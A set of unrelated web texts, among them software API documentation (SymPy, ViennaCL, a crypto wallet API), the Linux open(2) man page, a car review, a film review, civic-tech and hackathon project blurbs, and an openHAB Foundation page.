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Gv-ni-yu-quo i-tsi-ne-lv nv-ta ne-tsv-ne-lv; a-le hi-a ni-tsv-we-se-ha, V-tla yv-ge-s-gi-go-wa-dv go-hi i-yu-da-le-nv-dv gv-ni hi-a i-tsi-we-s-di-yi a-s-qua-lv-hv-ha, A-tsi-lv-quo-di-yu na-s-gi na Yi-ho-wa de-nv-do-v tsi-ga-lu-hi-s-di-ha.
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Why does source control have to be so slow this morning? I just want to check my code in.
2/12/2009, 9:11:33 AM
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Why does source control have to be so slow this morning? I just want to check my code in.
2/12/2009, 9:11:33 AM
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GotToVote! is designed to help Kenyans find their nearest voter registration centre, so that they can enroll themselves as registered voters and be eligible to vote in the 2013 general election.
GotToVote! is an example of how open data can be useful to ordinary citizens.
GotToVote! was built at virtually zero cost as a Code4Kenya data journalism project. It demonstrates how data-driven tools can help media audiences act on the news they read / watch, by finding out how a national event such as the elections affects their personal lives or local communities.
Code4Kenya is a pilot programme funded by the Africa Media Initiative through the Digital Projects Division. It embedded four Data Fellows into major Kenyan newsrooms and a civil society organisation, for five months, to help kickstart experimentation with data-driven civic engagement tools. The Data Fellows were supported by an external software development team. The program is implemented by the Open Institute.
Code4Kenya has inspired similar initiatives in Ghana and South Africa. Its success has prompted AMI to pledge additional funding to allow Code4Kenya's jAccelerator lab to continue building civic tech projects until the end of 2013.
All the data used on GotToVote! is freely available on another Code4Kenya project: the AfricaOpenData portal, which is the continent's largest repository of public data, ranging from government budget and tender information, to data about parliamentarians and other public officials. The original data was extracted from a pdf provided by the Independent Electoral and Boundaries Commission (IEBC).
We are Open!
| Tweets about "#GotToVote" |


Body (Docstrings)¶
Body¶
-
class
sympy.physics.mechanics.body.
Body
(name, masscenter=None, mass=None, frame=None, central_inertia=None)[source]¶ Body is a common representation of either a RigidBody or a Particle SymPy object depending on what is passed in during initialization. If a mass is passed in and central_inertia is left as None, the Particle object is created. Otherwise a RigidBody object will be created.
The attributes that Body possesses will be the same as a Particle instance or a Rigid Body instance depending on which was created. Additional attributes are listed below.
Parameters: name : String
Defines the name of the body. It is used as the base for defining body specific properties.
masscenter : Point, optional
A point that represents the center of mass of the body or particle. If no point is given, a point is generated.
mass : Sympifyable, optional
A Sympifyable object which represents the mass of the body. If no mass is passed, one is generated.
frame : ReferenceFrame, optional
The ReferenceFrame that represents the reference frame of the body. If no frame is given, a frame is generated.
central_inertia : Dyadic, optional
Central inertia dyadic of the body. If none is passed while creating RigidBody, a default inertia is generated.
Examples
Default behaviour. This results in the creation of a RigidBody object for which the mass, mass center, frame and inertia attributes are given default values.
>>> from sympy.physics.mechanics import Body >>> body = Body('name_of_body')
This next example demonstrates the code required to specify all of the values of the Body object. Note this will also create a RigidBody version of the Body object.
>>> from sympy import Symbol >>> from sympy.physics.mechanics import ReferenceFrame, Point, inertia >>> from sympy.physics.mechanics import Body >>> mass = Symbol('mass') >>> masscenter = Point('masscenter') >>> frame = ReferenceFrame('frame') >>> ixx = Symbol('ixx') >>> body_inertia = inertia(frame, ixx, 0, 0) >>> body = Body('name_of_body', masscenter, mass, frame, body_inertia)
The minimal code required to create a Particle version of the Body object involves simply passing in a name and a mass.
>>> from sympy import Symbol >>> from sympy.physics.mechanics import Body >>> mass = Symbol('mass') >>> body = Body('name_of_body', mass=mass)
The Particle version of the Body object can also receive a masscenter point and a reference frame, just not an inertia.
Attributes
name (string) The body’s name masscenter (Point) The point which represents the center of mass of the rigid body frame (ReferenceFrame) The reference frame which the body is fixed in mass (Sympifyable) The body’s mass inertia ((Dyadic, Point)) The body’s inertia around its center of mass. This attribute is specific to the rigid body form of Body and is left undefined for the Particle form loads (iterable) This list contains information on the different loads acting on the Body. Forces are listed as a (point, vector) tuple and torques are listed as (reference frame, vector) tuples. -
apply_force
(vec, point=None)[source]¶ Adds a force to a point (center of mass by default) on the body.
Parameters: vec: Vector
Defines the force vector. Can be any vector w.r.t any frame or combinations of frames.
point: Point, optional
Defines the point on which the force is applied. Default is the Body’s center of mass.
Example
The first example applies a gravitational force in the x direction of Body’s frame to the body’s center of mass.
>>> from sympy import Symbol >>> from sympy.physics.mechanics import Body >>> body = Body('body') >>> g = Symbol('g') >>> body.apply_force(body.mass * g * body.frame.x)
To apply force to any other point than center of mass, pass that point as well. This example applies a gravitational force to a point a distance l from the body’s center of mass in the y direction. The force is again applied in the x direction.
>>> from sympy import Symbol >>> from sympy.physics.mechanics import Body >>> body = Body('body') >>> g = Symbol('g') >>> l = Symbol('l') >>> point = body.masscenter.locatenew('force_point', l * ... body.frame.y) >>> body.apply_force(body.mass * g * body.frame.x, point)
-
apply_torque
(vec)[source]¶ Adds a torque to the body.
Parameters: vec: Vector
Defines the torque vector. Can be any vector w.r.t any frame or combinations of frame.
Example
This example adds a simple torque around the body’s z axis.
>>> from sympy import Symbol >>> from sympy.physics.mechanics import Body >>> body = Body('body') >>> T = Symbol('T') >>> body.apply_torque(T * body.frame.z)
-


static getEventInfo(event: Event): AnchorEventInfo
Gets the href and a "should handle" recommendation, given an Event.
Parameters
event: Event
The Event to inspect for target anchor and href.
static getEventInfo(event: Event): AnchorEventInfo
Gets the href and a "should handle" recommendation, given an Event.


2020 Mitsubishi Mirage, G4 look even better in person
Check out our live photos of the update Mirage, Mirage G4
by AutoIndustriya.comLast week, Mitsubishi Motors Corporation revealed the updated 2020 Mirage, and its sedan counterpart, the 2020 Mirage G4 (Attrage in Thailand). Through numerous press photos, we got to see the new design of Mitsubishi’s popular hatchback and sedan from various angles. But, it’s only in person can we say that the new Mirage and Mirage G4 look really good.
With the 2019 Thailand International Motor Expo in full swing, we got to see the 2020 Mirage and Mirage G4 in the metal. Despite the radical makeover, it still rides on the same platform which has been in use since 2012 (2013 for the sedan). As mentioned previously, the Mirage now features Mitsubishi’s Dynamic Shield design language upfront. As a result, it borrows styling elements from the Xpander, Montero Sport, and the Strada.
Both the sedan and hatchback now feature new, longer headlights that seem connected to the large front grill. Speaking of, the grill appears to be lifted directly from Mitsubishi’s current model and runs from the headlights all the way to the bumper apron. Noticeably, the hood and fenders have also been tweaked as part of the 2020 update.
At the rear, the styling changes are subtler on both the Mirage hatchback and Mirage G4 sedan. You can still easily recognize the design as the trunk lid on the G4 and tailgate of the Mirage have the same look. Most of the changes have been applied to the rear bumper and the taillights.
Inside, the cabin design has been largely carried over such as the dashboard, door panels and air-conditioning vents. High-end variants can still come with automatic climate control while new seat patterns freshen up the interior. The touchscreen audio system now comes with Apple CarPlay as well. However, do expect this to vary from country to country.
Aside from the interior, the 1.2-liter three-cylinder MIVEC engine under the hood has also been carried over. Power is retained at 78 PS and 100 Nm of torque and shifts via a 5-speed manual or a continuously variable transmission (CVT).
Expect the Philippine market to get the updated Mirage and Mirage G4 as well. However, there is still no timeline yet as to when.
Tags:mitsubishi attrage mitsubishi mirage mitsubishi mirage g4 thailand motor expo time 2019


etcetera.meta
Meta module.
License
MIT. See LICENSE for full details.
Templates:
ForeachAggregate
Template defining a delegate suitable to be used as a ForeachAggregate.
IndexedForeachAggregate
Template defining a delegate suitable to be used as an indexed ForeachAggregate.


Annual Report 2018
about us
© 2019 Copyright. All rights reserved. PACC OFFSHORE Services Holding Ltd
Linkedin
Corporate Profile
POSH’s Growth through the years
Read more
Business Divisions
by Captain Gerald Seow
Our growth Journey
A reflection of market conditions
Board of DIrectors
Senior Management
Our People Our Community


Marketplace
Verticals
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Create you own vertical and publish in marketplace
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recommended size 512px x 512px
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Message Definition
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<audio />
HTML's <audio />
cannot play BRSTM!
<audio src="music.mp3" />
No, it's not able to loop
Is the complexity getting out of hand?
What's the user flow like?
| Static | Server |
|---|---|
| SPA | Client-server |
| User "uploads" BRSTM | User uploads BRSTM |
| JS/WASM decode | Server converts to MP3 |
| Web Audio API plays |
HTML <audio /> to play or live streaming
|
For real
So I started a simple page that accepts a BRSTM file and read its metadata
It works. What's next?
Buffer Source node → Audio Context destination node
const audioContext = new AudioContext();
const bufferSource = audioContext.createBufferSource();
bufferSource.connect(audioContext.destination);
Get PCM samples from BRSTM
const pcm = brstm.getAllSamples(); // TODO: Implement
Transform PCM into audio buffer
const audioBuffer = audioContext.createBuffer(
1, // number of channels
pcm.length,
metadata.sampleRate
);
audioBuffer.getChannelData(0).set(pcm);
Write into source node, and plays it
bufferSource.buffer = audioBuffer;
bufferSource.start(0); // start immediately
This is the coding format
How to turn ADPCM into PCM?and the input/output looks as expected!
That means I can't use that npm package
sighAttach debugger!
No
Web Audio API Gotchas
Easy
// audioBuffer contains raw audio data (PCM)
audioBuffer.loop = true
audioBuffer.loopStart = … // in seconds
audioBuffer.loopEnd = … // in seconds
Easy
audioContext.suspend(); // pause
audioContext.resume(); // resume
// in <audio />
audioElement.time = … // in seconds
bufferSource.start(0, soughtTimeInSeconds);
Impossible
audioContext.currentTime
Reimplement timer


Members
(constant) AUTH_METHODS :Object
Kind of authentication.
Type:
- Object
(constant) CONFIG :object
Contains base configuration for different environments.
Type:
- object
Properties:
| Name | Type | Description |
|---|---|---|
staging |
EnvironmentConfig | Staging configuration |
production |
EnvironmentConfig | Production configuration |
(constant) ENVIRONMENT :Object
Environment names.
Type:
- Object
(constant) PATHS :Object
Paths to the Wallet API.
Type:
- Object
Type Definitions
BalanceResponse
Contains balances for all supported coins.
Type:
- object
CelsiusInstance
Type:
- object
Properties:
| Name | Type | Description |
|---|---|---|
getKycStatus |
function | Method for sending GET requests |
verifyKyc |
function | Method for sending POST requests. Data is transmitted using multipart/form-data |
Documents
Type:
- Object
Properties:
| Name | Type | Description |
|---|---|---|
document_front_image |
string | |
document_back_image |
string |
EnvironmentConfig
Type:
- object
Properties:
| Name | Type | Description |
|---|---|---|
baseUrl |
string | Base url for the environment. |
publicKey |
string | Public key used to verify signatures of responses. |
FormFields
Type:
- Object
Properties:
| Name | Type | Description |
|---|---|---|
address |
string | Address where funds need to be sent |
amount |
number |
HttpClient
Type:
- object
Properties:
| Name | Type | Description |
|---|---|---|
get |
function | Method for sending GET requests |
post |
function | Method for sending POST requests. Data is transmitted using multipart/form-data |
- Source:
InterestResponse
Contains interest earned so far for all supported coins and total interest earned in usd.
Type:
- object
KYCStatus
| KYC Status | Description |
|---|---|
| Pending | Waiting on user to provide documents for verification |
| Completed | User has provided documents and is waiting to be verified |
| Passed | User was successfully verified |
| Rejected | User has failed verification |
Type:
- string
Pagination
Type:
- Object
Properties:
| Name | Type | Description |
|---|---|---|
page |
number | Which page will be returned |
perPage |
number | Number of results to be returned per page |
StatisticsResponse
Contains statistical data about users.
Type:
- object
Properties:
| Name | Type | Description |
|---|---|---|
depositCount |
string | number | Contains number of deposits made by the user |
depositAmount |
Object | Contains total amount deposited per coin as well as total amount deposited in usd |
withdrawalCount |
string | number | Contains number of withdrawals made by the user |
withdrawalAmount |
Object | Contains total amount withdrawn per coin as well as total amount withdrawn in usd |
interestCount |
string | number | Contains number of interests earned by the user |
interestAmount |
Object | Contains total amount earned per coin as well as total amount earned in usd |
UserData
Type:
- Object
Properties:
| Name | Type | Description |
|---|---|---|
first_name |
string | |
last_name |
string | |
date_of_birth |
string | |
citizenship |
string | |
country |
string | |
state |
string | |
city |
string | |
zip |
string | |
street |
string | |
building_number |
string | |
flat_number |
string | |
itin |
string | |
national_id |
string | |
ssn |
string | |
middle_name |
string | |
title |
string | |
gender |
string | |
phone_number |
string | |
document_type |
string |
Util
Type:
- object
Properties:
| Name | Type | Description |
|---|---|---|
getFormData |
function | Method for getting form data from formFields and files |
readFile |
function | Method for reading files |
verifyResponse |
function | Method for verifying responses |


Summer of Sam (1999)
Director: Spike Lee Cast: John Leguizamo, Adrien Brody, Mira Sorvino, Jennifer Esposito, Michael Rispoli, Saverio Guerra, Bebe Neuwirth, Anthony LaPaglia, Ben Gazzara Screenplay: Victor Colicchio, Michael Imperioli, Spike Lee Producers: Jon Kilik, Spike Lee Runtime: 142 min. US Distribution: Touchstone Rated R: strong graphic violence and sexuality, pervasive strong language, drug use
Copyright 1999 Nathaniel R. Atcheson
Before going into Spike Lee's Summer of Sam, I knew that it wasn't actually about the serial killer who terrorized New York citizens before his capture in 1977. It actually centers around a group of people who lived in the same neighborhood as the Son of Sam, and focuses on the way they reacted to a feeling of confinement based on fear. John Leguizamo and Mira Sorvino star as Vinny and Dionna, a married couple sexually unsatisfied with one another. The film emphasizes their relationship, in addition to Vinny's relationship with his friends in the neighborhood.
Summer of Sam is an ambitious, visually striking picture. It reminded me very much of Lee's previous film, He Got Game, and also has many of the same problems. The picture is very unfocused, and often doesn't seem to have much momentum (it's also needlessly long, and meanders towards the end). The focus is distractingly skewed between the troubles with the married couple and the neighborhood paranoia. And there are numerous scenes featuring the Son of Sam himself, and Lee dramatizes most (if not all) of the killings; I found all of these sequences unnecessary and gratuitous -- the film isn't a psychological thriller about the killer himself, and his presence doesn't feel right.
Problematic as it is, Summer of Sam still harnesses an amazing sense of tension; the film actually features one of the most suspenseful scenes I've seen in recent years (those who have seen the film will remember the scene in which we expect both Vinny and Dionna to be killed by the Son of Sam). The performances are all very good, with particularly strong work from Leguizamo and Adrien Brody (as Vinny's punk-rocking friend). I liked parts of the movie very much, and I found it to be an authentic painting of the period, but I left the theater not knowing entirely what to make of it.
Psychosis Rating: 6/10
Visit FILM PSYCHOSIS at http://www.pyramid.net/natesmovies
Nathaniel R. Atcheson
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


An applied game jam is thematically linked to a real world problem or
challenge, such as education, health care or sustainability. Participants try to create a game
that raises awareness about the challenge, encourages a certain kind of behaviour or motivates
players to figure out possible solutions. The topic of GAGJ 2018 was about Alzheimer.
This project does not aim for profit because the purpose of this project is
making a helpful item in real life for people. Currently, we are developing the hanwoo database
management software. It is for free for all.
This is a Windows application that checks the price and amount of
cryptocurrency transactions in real time and automatically alerts you when they exceed a certain
price or growth rate. We've developed an application that can monitor one or several
cryptocurrency transactions in real time.
This project is additional project of Hanwoo Database Management Application.
It does not aim for profit because the purpose of this project is making a helpful item in real
life for people. Currently, we are developing the hanwoo database management smartphone
applicatipn. It is for free for all.
Media Hackathon is a competition that plans and implements ideas within a
limited amount of time under the theme of media content and services. The theme of the event is
"How to Get to the Truth: Contextual Journalism." Its goal is to implement verification of fact
check and fake news (false manipulation information) on contents, solutions to filter bubbles,
and various ideas for identifying original sources and actively consuming news, and develop them
into actual service prototype types.
I am developing games as a hobby. I like to create my own story and make simple
games using the Unity engine and C# programming language. I am currently developing a new game.
This project is a project other than the GAGJ 2018 game project and the GAGJ 2019 game project.
Cosmos is proud to present its premiere hackathon of the year—the 2019 HackAtom
is coming to Seoul, South Korea. Preceding BUIDL ASIA 2019, for 72 hours straight, the HackAtom
will host Korea's best hackers in the Seoul Startup Hub. Teams will compete to take home the
$20,000 grand prize, rewarded to the best team that builds the Interchain vision.
An applied game jam is thematically linked to a real world problem or
challenge, such as education, health care or sustainability. Participants try to create a game
that raises awareness about the challenge, encourages a certain kind of behaviour or motivates
players to figure out possible solutions. The topic of GAGJ 2019 was about food for possible
future.
Pathhack Hackathon 2019 is for college/university students in South Korea.
Students made items about practical SW/App for people or solution of problems in daily life. We
made a hackathon team building smartphone application for this hackathon. We got the first prize
in this hackahton.
KOREA CLINICAL DATATHON 2019 is a competition. Doctors, clinical trial
researchers, data scientists, and students make teams to solve medical and clinical problems
with AI and actual medical data (MIMIC-III, Seoul National University Hospital VitalDB, Ajou
University Medical Center CDM)


Classic Brick Breaker
Click Start! to play
Controls: keyboard keys left and right arrow / mouse for moving paddles
Score: 1 block= 1 points. However, hitting multiple blocks in one shot will provide multiplier bonus which increases by 1 in every hit.


A class for the sparse matrix type. Uses vector of maps as data structure for higher performance and lower memory usage. Uses similar interface as ublas::compressed_matrix. Can deal with transposed of matrix internally: Creation, Storage, Iterators, etc.
More...
Public Types |
| typedef ScalarType | value_type |
| typedef AdapterType::iterator1 | iterator1 |
| typedef AdapterType::iterator2 | iterator2 |
typedef
ConstAdapterType::const_iterator1 | const_iterator1 |
typedef
ConstAdapterType::const_iterator2 | const_iterator2 |
Public Member Functions |
| | amg_sparsematrix () |
| | Standard constructor.
|
| | amg_sparsematrix (unsigned int i, unsigned int j) |
| | Constructor. Builds matrix of size (i,j).
|
| | amg_sparsematrix (std::vector< std::map< unsigned int, ScalarType > > const &mat) |
| | Constructor. Builds matrix via std::vector<std::map> by copying memory (Only necessary feature of this other matrix type is to have const iterators)
|
| template<typename MatrixType > |
| | amg_sparsematrix (MatrixType const &mat) |
| | Constructor. Builds matrix via another matrix type. (Only necessary feature of this other matrix type is to have const iterators)
|
| void | do_trans () |
| void | set_trans (bool mode) |
| bool | get_trans () const |
| bool | isnonzero (unsigned int i, unsigned int j) const |
| void | add (unsigned int i, unsigned int j, ScalarType s) |
| template<typename IteratorType > |
| void | addscalar (IteratorType &iter, unsigned int i, unsigned int j, ScalarType s) |
| template<typename IteratorType > |
| void | removescalar (IteratorType &iter, unsigned int i) |
| NonzeroScalarType | operator() (unsigned int i, unsigned int j) |
| ScalarType | operator() (unsigned int i, unsigned int j) const |
| void | resize (unsigned int i, unsigned int j, bool preserve=true) |
| void | clear () |
| vcl_size_t | size1 () |
| vcl_size_t | size1 () const |
| vcl_size_t | size2 () |
| vcl_size_t | size2 () const |
| iterator1 | begin1 (bool trans=false) |
| iterator1 | end1 (bool trans=false) |
| iterator2 | begin2 (bool trans=false) |
| iterator2 | end2 (bool trans=false) |
| const_iterator1 | begin1 () const |
| const_iterator1 | end1 (bool trans=false) const |
| const_iterator2 | begin2 (bool trans=false) const |
| const_iterator2 | end2 (bool trans=false) const |
std::vector< std::map
< unsigned int, ScalarType > > * | get_internal_pointer () |
| | operator boost::numeric::ublas::compressed_matrix< ScalarType > (void) |
| | operator boost::numeric::ublas::matrix< ScalarType > (void) |
template<typename ScalarType>
class viennacl::linalg::detail::amg::amg_sparsematrix< ScalarType >
A class for the sparse matrix type. Uses vector of maps as data structure for higher performance and lower memory usage. Uses similar interface as ublas::compressed_matrix. Can deal with transposed of matrix internally: Creation, Storage, Iterators, etc.


--- layout: post title: Valentine sketch date: '2014-06-20T07:54:00+02:00' categories: - Sketches - Sketchbooks picture_url: https://film-Storyboards.tumblr.com/post/89356263921/valentine-sketch ---
Characters sketch for an ad.


A University of Maryland Gemstone Team that is investigating augmented reality and its applications in communications.
Gemstone is an interdisciplinary, four year living and learning honors research program at the University of Maryland College Park. Under the guidance of our mentor Dr. Matthias Zwicker, team ART aims to use augmented reality and machine learning to provide real time handwriting correction for people with dyslexia. Learning disabilities affect one in ten people worldwide and are especially detrimental to learning children. By hampering their ability to read and write, students with learning disabilities often fall behind their able counterparts. Once they do, a negative cycle is created making it difficult for them to catch up. team ART aims to prevent that from the start by helping these children overcome their learning disabilities. By correcting their mistakes as they happen, the assistive device we will build will prevent the formation of poor writing habits and facilitate their success in academic environments.


--- layout: default --- {% if site.github.url %} {% assign url_base = site.github.url %} {% else %} {% assign url_base = site.url %} {% endif %}
The current smarthome market suffers under the commercial interests and competition of big companies, which are fighting for costumers and try to force their proprietary ecosystems. This leads to a highly fragmented market with vendor lock-ins, making participation and contribution of the public a true challenge with barriers.
We highly believe that smart homes must not be closed or restricted, but that everybody must have the freedom to participate, modify and enhance it.
The openHAB Foundation e.V. was founded to boost innovation and to make smart home technology available for everybody by empowering individuals and organizations.
The Foundation is the central place for supporters which want to spread the word about openHAB and want to help becoming it a respected alternative to commercial solutions.
When you become a member of the foundation, you are part of an informed, passionate community, working together to shape the future for a better smart home world: Openness, neutrality, multi-vendor interoperability, full user control and flexibility, data privacy and open ecosystems — all built on free software.
As a member, you do not only help through your donation to reach this goal, but you have also the possibility to make yourself heard on our Foundation's blog. And you can decide for yourself in which way you would like to actively contribute to the Foundation's mission!
Join us on our journey to support and educate the world around us about the possibilities and benefits of free open smart home solutions and ecosystems.


#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); int creat(const char *pathname, mode_t mode); int openat(int dirfd, const char *pathname, int flags); int openat(int dirfd, const char *pathname, int flags, mode_t mode);
Feature Test Macro Requirements for glibc (see feature_test_macros(7)):
openat():
By default, the new file descriptor is set to remain open across an execve(2) (i.e., the FD_CLOEXEC file descriptor flag described in fcntl(2) is initially disabled); the O_CLOEXEC flag, described below, can be used to change this default. The file offset is set to the beginning of the file (see lseek(2)).
A call to open() creates a new open file description, an entry in the system-wide table of open files. The open file description records the file offset and the file status flags (see below). A file descriptor is a reference to an open file description; this reference is unaffected if pathname is subsequently removed or modified to refer to a different file. For further details on open file descriptions, see NOTES.
The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write, respectively.
In addition, zero or more file creation flags and file status flags can be bitwise-or'd in flags. The file creation flags are O_CLOEXEC, O_CREAT, O_DIRECTORY, O_EXCL, O_NOCTTY, O_NOFOLLOW, O_TMPFILE, O_TRUNC, and O_TTY_INIT. The file status flags are all of the remaining flags listed below. The distinction between these two groups of flags is that the file status flags can be retrieved and (in some cases) modified; see fcntl(2) for details.
The full list of file creation flags and file status flags is as follows:
Note that the use of this flag is essential in some multithreaded programs, because using a separate fcntl(2) F_SETFD operation to set the FD_CLOEXEC flag does not suffice to avoid race conditions where one thread opens a file descriptor and attempts to set its close-on-exec flag using fcntl(2) at the same time as another thread does a fork(2) plus execve(2). Depending on the order of execution, the race may lead to the file descriptor returned by open() being unintentionally leaked to the program executed by the child process created by fork(2). (This kind of race is in principle possible for any system call that creates a file descriptor whose close-on-exec flag should be set, and various other Linux system calls provide an equivalent of the O_CLOEXEC flag to deal with this problem.)
mode specifies the permissions to use in case a new file is created. This argument must be supplied when O_CREAT or O_TMPFILE is specified in flags; if neither O_CREAT nor O_TMPFILE is specified, then mode is ignored. The effective permissions are modified by the process's umask in the usual way: The permissions of the created file are (mode & ~umask). Note that this mode applies only to future accesses of the newly created file; the open() call that creates a read-only file may well return a read/write file descriptor.
The following symbolic constants are provided for mode:
A semantically similar (but deprecated) interface for block devices is described in raw(8).
By the time write(2) (and similar) return, the output data has been transferred to the underlying hardware, along with any file metadata that would be required to retrieve that data (i.e., as though each write(2) was followed by a call to fdatasync(2)). See NOTES below.
When these two flags are specified, symbolic links are not followed: if pathname is a symbolic link, then open() fails regardless of where the symbolic link points to.
In general, the behavior of O_EXCL is undefined if it is used without O_CREAT. There is one exception: on Linux 2.6 and later, O_EXCL can be used without O_CREAT if pathname refers to a block device. If the block device is in use by the system (e.g., mounted), open() fails with the error EBUSY.
On NFS, O_EXCL is supported only when using NFSv3 or later on kernel 2.6 or later. In NFS environments where O_EXCL support is not provided, programs that rely on it for performing locking tasks will contain a race condition. Portable programs that want to perform atomic file locking using a lockfile, and need to avoid reliance on NFS support for O_EXCL, can create a unique file on the same filesystem (e.g., incorporating hostname and PID), and use link(2) to make a link to the lockfile. If link(2) returns 0, the lock is successful. Otherwise, use stat(2) on the unique file to check if its link count has increased to 2, in which case the lock is also successful.
The following operations can be performed on the resulting file descriptor:
If pathname is a symbolic link and the O_NOFOLLOW flag is also specified, then the call returns a file descriptor referring to the symbolic link. This file descriptor can be used as the dirfd argument in calls to fchownat(2), fstatat(2), linkat(2), and readlinkat(2) with an empty pathname to have the calls operate on the symbolic link.
By the time write(2) (and similar) return, the output data and associated file metadata have been transferred to the underlying hardware (i.e., as though each write(2) was followed by a call to fsync(2)). See NOTES below.
O_TMPFILE must be specified with one of O_RDWR or O_WRONLY and, optionally, O_EXCL. If O_EXCL is not specified, then linkat(2) can be used to link the temporary file into the filesystem, making it permanent, using code like the following:
char path[PATH_MAX]; fd = open("/path/to/dir", O_TMPFILE | O_RDWR, S_IRUSR | S_IWUSR); /* File I/O on 'fd'... */ snprintf(path, PATH_MAX, "/proc/self/fd/%d", fd); linkat(AT_FDCWD, path, AT_FDCWD, "/path/for/file", AT_SYMLINK_FOLLOW);
In this case, the open() mode argument determines the file permission mode, as with O_CREAT.
Specifying O_EXCL in conjunction with O_TMPFILE prevents a temporary file from being linked into the filesystem in the above manner. (Note that the meaning of O_EXCL in this case is different from the meaning of O_EXCL otherwise.)
There are two main use cases for O_TMPFILE:
If the pathname given in pathname is relative, then it is interpreted relative to the directory referred to by the file descriptor dirfd (rather than relative to the current working directory of the calling process, as is done by open() for a relative pathname).
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process (like open()).
If pathname is absolute, then dirfd is ignored.
The following additional errors can occur for openat():
openat(): POSIX.1-2008.
The O_DIRECT, O_NOATIME, O_PATH, and O_TMPFILE flags are Linux-specific. One must define _GNU_SOURCE to obtain their definitions.
The O_CLOEXEC, O_DIRECTORY, and O_NOFOLLOW flags are not specified in POSIX.1-2001, but are specified in POSIX.1-2008. Since glibc 2.12, one can obtain their definitions by defining either _POSIX_C_SOURCE with a value greater than or equal to 200809L or _XOPEN_SOURCE with a value greater than or equal to 700. In glibc 2.11 and earlier, one obtains the definitions by defining _GNU_SOURCE.
As noted in feature_test_macros(7), feature test macros such as _POSIX_C_SOURCE, _XOPEN_SOURCE, and _GNU_SOURCE must be defined before including any header files.
The (undefined) effect of O_RDONLY | O_TRUNC varies among implementations. On many systems the file is actually truncated.
Note that open() can open device special files, but creat() cannot create them; use mknod(2) instead.
If the file is newly created, its st_atime, st_ctime, st_mtime fields (respectively, time of last access, time of last status change, and time of last modification; see stat(2)) are set to the current time, and so are the st_ctime and st_mtime fields of the parent directory. Otherwise, if the file is modified because of the O_TRUNC flag, its st_ctime and st_mtime fields are set to the current time.
When a file descriptor is duplicated (using dup(2) or similar), the duplicate refers to the same open file description as the original file descriptor, and the two file descriptors consequently share the file offset and file status flags. Such sharing can also occur between processes: a child process created via fork(2) inherits duplicates of its parent's file descriptors, and those duplicates refer to the same open file descriptions.
Each open(2) of a file creates a new open file description; thus, there may be multiple open file descriptions corresponding to a file inode.
Linux implements O_SYNC and O_DSYNC, but not O_RSYNC. (Somewhat incorrectly, glibc defines O_RSYNC to have the same value as O_SYNC.)
O_SYNC provides synchronized I/O file integrity completion, meaning write operations will flush data and all associated metadata to the underlying hardware. O_DSYNC provides synchronized I/O data integrity completion, meaning write operations will flush data to the underlying hardware, but will only flush metadata updates that are required to allow a subsequent read operation to complete successfully. Data integrity completion can reduce the number of disk operations that are required for applications that don't need the guarantees of file integrity completion.
To understand the difference between the two types of completion, consider two pieces of file metadata: the file last modification timestamp (st_mtime) and the file length. All write operations will update the last file modification timestamp, but only writes that add data to the end of the file will change the file length. The last modification timestamp is not needed to ensure that a read completes successfully, but the file length is. Thus, O_DSYNC would only guarantee to flush updates to the file length metadata (whereas O_SYNC would also always flush the last modification timestamp metadata).
Before Linux 2.6.33, Linux implemented only the O_SYNC flag for open(). However, when that flag was specified, most filesystems actually provided the equivalent of synchronized I/O data integrity completion (i.e., O_SYNC was actually implemented as the equivalent of O_DSYNC).
Since Linux 2.6.33, proper O_SYNC support is provided. However, to ensure backward binary compatibility, O_DSYNC was defined with the same value as the historical O_SYNC, and O_SYNC was defined as a new (two-bit) flag value that includes the O_DSYNC flag value. This ensures that applications compiled against new headers get at least O_DSYNC semantics on pre-2.6.33 kernels.
On NFS filesystems with UID mapping enabled, open() may return a file descriptor but, for example, read(2) requests are denied with EACCES. This is because the client performs open() by checking the permissions, but UID mapping is performed by the server upon read and write requests.
Linux reserves the special, nonstandard access mode 3 (binary 11) in flags to mean: check for read and write permission on the file and return a descriptor that can't be used for reading or writing. This nonstandard access mode is used by some Linux drivers to return a descriptor that is to be used only for device-specific ioctl(2) operations.
First, openat() allows an application to avoid race conditions that could occur when using open() to open files in directories other than the current working directory. These race conditions result from the fact that some component of the directory prefix given to open() could be changed in parallel with the call to open(). Such races can be avoided by opening a file descriptor for the target directory, and then specifying that file descriptor as the dirfd argument of openat().
Second, openat() allows the implementation of a per-thread "current working directory", via file descriptor(s) maintained by the application. (This functionality can also be obtained by tricks based on the use of /proc/self/fd/dirfd, but less efficiently.)
The O_DIRECT flag may impose alignment restrictions on the length and address of user-space buffers and the file offset of I/Os. In Linux alignment restrictions vary by filesystem and kernel version and might be absent entirely. However there is currently no filesystem-independent interface for an application to discover these restrictions for a given file or filesystem. Some filesystems provide their own interfaces for doing so, for example the XFS_IOC_DIOINFO operation in xfsctl(3).
Under Linux 2.4, transfer sizes, and the alignment of the user buffer and the file offset must all be multiples of the logical block size of the filesystem. Since Linux 2.6.0, alignment to the logical block size of the underlying storage (typically 512 bytes) suffices. The logical block size can be determined using the ioctl(2) BLKSSZGET operation or from the shell using the command:
blockdev --getss
O_DIRECT I/Os should never be run concurrently with the fork(2) system call, if the memory buffer is a private mapping (i.e., any mapping created with the mmap(2) MAP_PRIVATE flag; this includes memory allocated on the heap and statically allocated buffers). Any such I/Os, whether submitted via an asynchronous I/O interface or from another thread in the process, should be completed before fork(2) is called. Failure to do so can result in data corruption and undefined behavior in parent and child processes. This restriction does not apply when the memory buffer for the O_DIRECT I/Os was created using shmat(2) or mmap(2) with the MAP_SHARED flag. Nor does this restriction apply when the memory buffer has been advised as MADV_DONTFORK with madvise(2), ensuring that it will not be available to the child after fork(2).
The O_DIRECT flag was introduced in SGI IRIX, where it has alignment restrictions similar to those of Linux 2.4. IRIX has also a fcntl(2) call to query appropriate alignments, and sizes. FreeBSD 4.x introduced a flag of the same name, but without alignment restrictions.
